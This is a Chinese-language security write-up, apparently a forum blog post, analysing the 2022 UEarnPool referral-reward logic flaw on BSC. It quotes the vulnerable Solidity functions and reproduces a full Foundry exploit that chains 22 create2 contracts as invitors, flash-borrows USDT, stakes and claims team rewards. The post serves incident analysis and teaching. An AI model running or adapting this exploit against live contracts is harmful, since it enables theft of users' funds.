UEarnPool 业务逻辑漏洞

  • Archime
  • 更新于 2022-11-20 19:18
  • 阅读 3861

UEarnPool 业务逻辑漏洞

1. UEarnPool漏洞简介

https://twitter.com/CertiKAlert/status/1593094922160128000

1.png

2. 相关地址或交易

攻击准备: https://bscscan.com/tx/0x824de0989f2ce3230866cb61d588153e5312151aebb1e905ad775864885cd418 攻击交易: https://bscscan.com/tx/0xb83f9165952697f27b1c7f932bcece5dfa6f0d2f9f3c3be2bb325815bfd834ec 攻击合约:0x14cab4bb0d3bff14cc104d53c812bb1cc882ab3d 攻击账号:0x645516882d8d1b2bc69f85c58164a290c92c0365 被攻击合约:0x02d841b976298dcd37ed6cc59f75d9dd39a3690c

3. 获利分析

2.png

4. 攻击思想

在合约UEarnPool中有函数 claimTeamReward() 可以领取团队奖励,查看函数代码可发现关键在于使得level不等于MAX,而level是通过函数 getUserLevel() 实现的。

3.png

在函数 getUserLevel() 中,可以看到 level 默认是MAX,是通过条件判断 if (teamAmount >= levelConfig.teamAmount && amount >= levelConfig.amount) 确认的,并且 uint256 teamAmount = userInfo.teamAmount; uint256 amount = userInfo.amount; ,所以需要增大teamAmount以及amount,即发展下线。 在合约中存在另外一个函数bindInvitor() ,即发展下线,并且会通过 invitor = _invitor[invitor]; 记录上线以及上线的上线,后续用于分级提成。

4.png

整个合约利用过程可分为两部分, 1) 利用函数bindInvitor() 不停发展下线,最大程度增加团队成员数量,以便于后续分成; 2) 先调用函数 stake() 满足提现条件(即level 不等于 MAX),再调用claimTeamReward() 获取奖励。需要注意stake() 函数需要满足 require(amount >= _minAmount, "<min"); 查看私有变量_minAmount 的值显示为0x56bc75e2d63100000 ,即100.000000000000000000美元(18位小数)。

5. 攻击过程&漏洞原因

根据以上攻击思路,从交易记录分析攻击过程: 一、 先通过0x824de0989f2ce3230866cb61d588153e5312151aebb1e905ad775864885cd418 交易增加账号,用于发展下线。每次先创建新的合约,应该是使用create2方式创建的,因为还调用了新建合约的0xaa21133c 方法,用于绑定邀请人,类似于证明谁发展的下线,用于分配拉人收益。至此前期准备工作已完成。(A > B > C > D>E >F …….,后创建的合约均为前一个创建的合约的下线)

5.png

二、 再通过0xb83f9165952697f27b1c7f932bcece5dfa6f0d2f9f3c3be2bb325815bfd834ec交易获取奖励。 1、 先通过闪电贷获取启动资金,再调用最后创建的合约 0x21c473f97411351b3f5f829a5bcd485b735c1bd4 ,用于通过stake() 函数投入资金。之所以选择最后创建的合约,因为后创建的合约均为前一个创建的合约的下线,这样可以保证获取的收益最大。

6.png

最开始调用 claimTeamReward() 方法时未返回收益,因为 getUserLevel(0x21c473f97411351b3f5f829a5bcd485b735c1bd4) 返回的值为 MAX,不会进行分配收益。 另外,用户投入资金后其上线将获得拉人收益,合约通过_addInviteReward() 函数给其上线(最多5人)分配发展下线的奖励:

    function _addInviteReward(address account, uint256 amount) private {
        uint256 inviteLength = _inviteLength;
        UserInfo storage invitorInfo;
        address invitor;
        IERC20 token = IERC20(_tokenAddress);
        for (uint256 i; i &lt; inviteLength;) {
            invitor = _invitor[account];
            if (address(0) == invitor) {
                break;
            }
            account = invitor;
            invitorInfo = _userInfos[invitor];
        unchecked{
            uint256 inviteReward = amount * _inviteFee[i] / _feeDivFactor;
            if (inviteReward > 0) {
                invitorInfo.inviteReward += inviteReward;
                token.transfer(invitor, inviteReward);
            }
            ++i;
        }
        }
    }

7.png

2、 后续再继续调用新建合约的 0x8ecb5250 方法获取拉新奖励,可以看到在后续调用合约时可获得 162000 的奖励。可以通过函数 getLevelConfig() 查看奖励机制:

   function claimTeamReward(address account) external {
        uint256 level = getUserLevel(account);
        LevelConfig storage levelConfig;
        uint256 pendingReward;
        uint256 levelReward;
        if (level != MAX) {
            for (uint256 i; i &lt;= level;) {
                levelConfig = _levelConfigs[i];
                if (_userInfos[account].levelClaimed[i] == 0) {
                    if (i == 0) {
                        levelReward = levelConfig.teamAmount * levelConfig.rewardRate / _feeDivFactor;
                    } else {
                        levelReward = (levelConfig.teamAmount - _levelConfigs[i - 1].teamAmount) * levelConfig.rewardRate / _feeDivFactor;
                    }
                    pendingReward += levelReward;
                    _userInfos[account].levelClaimed[i] = levelReward;
                }
            unchecked{
                ++i;
            }
            }
        }
        if (pendingReward > 0) {
            IERC20(_tokenAddress).transfer(account, pendingReward);
        }
    }

8.png

9.png

rewrad: 162_000 = 1_200_000 0.1 + 600_000 0.05 + 300_000 0.03 + 300_000 0.01

6. 漏洞复现

漏洞复现代码可参考:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/UEarnPool_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @Analysis
// https://twitter.com/CertiKAlert/status/1593094922160128000
// @Tx
// https://bscscan.com/tx/0xb83f9165952697f27b1c7f932bcece5dfa6f0d2f9f3c3be2bb325815bfd834ec
// https://bscscan.com/tx/0x824de0989f2ce3230866cb61d588153e5312151aebb1e905ad775864885cd418
// @Summary
// The key is to obtain invitation rewards, create 22 contracts, bind each other, first stake a large amount of usdt, make teamamont reach the standard of _levelConfigs[3], stake in turn, and finally claim rewards
// Reward Calculation: claimTeamReward() levelConfig 
//                  if (_userInfos[account].levelClaimed[i] == 0) {
//                     if (i == 0) {
//                         levelReward = levelConfig.teamAmount * levelConfig.rewardRate / _feeDivFactor;
//                     } else {
//                         levelReward = (levelConfig.teamAmount - _levelConfigs[i - 1].teamAmount) * levelConfig.rewardRate / _feeDivFactor;
//                     }
//                     pendingReward += levelReward;
// _levelConfigs[0] = LevelConfig(100, 300000 * amountUnit, 3000 * amountUnit);         rewardRate; teamAmount; amount;
// _levelConfigs[1] = LevelConfig(300, 600000 * amountUnit, 7000 * amountUnit);
// _levelConfigs[2] = LevelConfig(500, 1200000 * amountUnit, 10000 * amountUnit);
// _levelConfigs[3] = LevelConfig(1000, 2400000 * amountUnit, 20000 * amountUnit);
// _feeDivFactor = 10000
// rewrad: 162_000 = 1_200_000 * 0.1 + 600_000 * 0.05 + 300_000 * 0.03 + 300_000 * 0.01

interface UEarnPool{
    function bindInvitor(address invitor) external;
    function stake(uint256 pid, uint256 amount) external;
    function claimTeamReward(address account) external;
}

contract claimReward{
    UEarnPool Pool = UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);

    function bind(address invitor) external{
        Pool.bindInvitor(invitor);
    }
    function stakeAndClaimReward(uint256 amount) external{
        USDT.approve(address(address(Pool)), type(uint).max);
        Pool.stake(0, amount);
        Pool.claimTeamReward(address(this));
    }
    function withdraw(address receiver) external{
        USDT.transfer(receiver, USDT.balanceOf(address(this)));
    }
}

contract ContractTest is DSTest{
    UEarnPool Pool = UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    address[] contractList;

    CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    function setUp() public {
        cheat.createSelectFork("bsc", 23120167);
    }

    function testExploit() public{
        contractFactory();
        // bind invitor
        (bool success, ) = contractList[0].call(abi.encodeWithSignature("bind(address)", tx.origin));
        require(success);
        for(uint i = 1; i &lt; 22; i++){
            (bool success, ) = contractList[i].call(abi.encodeWithSignature("bind(address)", contractList[i - 1]));
            require(success);
        }

        Pair.swap(2_420_000 * 1e18, 0, address(this), new bytes(1));

        emit log_named_decimal_uint(
            "[End] Attacker USDT balance after exploit",
            USDT.balanceOf(address(this)),
            18
        );

    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        uint len = contractList.length;
        // LevelConfig[3].teamAmount : 2_400_000
        USDT.transfer(contractList[len - 1], 2_400_000 * 1e18);
        (bool success1, ) = contractList[len - 1].call(abi.encodeWithSignature("stakeAndClaimReward(uint256)", 2_400_000 * 1e18));
        require(success1);
        for(uint i = len - 2; i > 4; i--){
            USDT.transfer(contractList[i], 20_000 * 1e18); // LevelConfig[3].Amount : 20_000
            USDT.balanceOf(address(this));
            // 162000 - 20000 + 1500, 1500 is the reduce amount of _addInviteReward(), claim remaining USDT when USDT amount in contract less than 162_000,
            if(USDT.balanceOf(address(Pool)) &lt; 143_500 * 1e18){
                USDT.transfer(address(Pool), 143_500 * 1e18 - USDT.balanceOf(address(Pool)));
            }
            (bool success1, ) = contractList[i].call(abi.encodeWithSignature("stakeAndClaimReward(uint256)", 20_000 * 1e18)); // LevelConfig[3].Amount : 20_000
            require(success1);
            (bool success2, ) = contractList[i].call(abi.encodeWithSignature("withdraw(address)", address(this)));
            require(success2);
        }
        contractList[0].call(abi.encodeWithSignature("withdraw(address)", address(this))); // claim the reward from _addInviteReward() 
        contractList[1].call(abi.encodeWithSignature("withdraw(address)", address(this)));
        contractList[2].call(abi.encodeWithSignature("withdraw(address)", address(this)));
        contractList[3].call(abi.encodeWithSignature("withdraw(address)", address(this)));
        contractList[4].call(abi.encodeWithSignature("withdraw(address)", address(this)));
        uint borrowAmount = 2_420_000 * 1e18;
        USDT.transfer(address(Pair), borrowAmount * 10000 / 9975 + 1000);
    }

    function contractFactory() public{
        address _add;
        bytes memory bytecode = type(claimReward).creationCode;
        for(uint _salt = 0; _salt &lt; 22; _salt++){
            assembly{
                _add := create2(0, add(bytecode, 32), mload(bytecode), _salt)
            }
            contractList.push(_add);
        }
    }
}
点赞 0
收藏 2
分享

2 条评论

请先 登录 后评论
Archime
Archime
0x96C4...508C
江湖只有他的大名,没有他的介绍。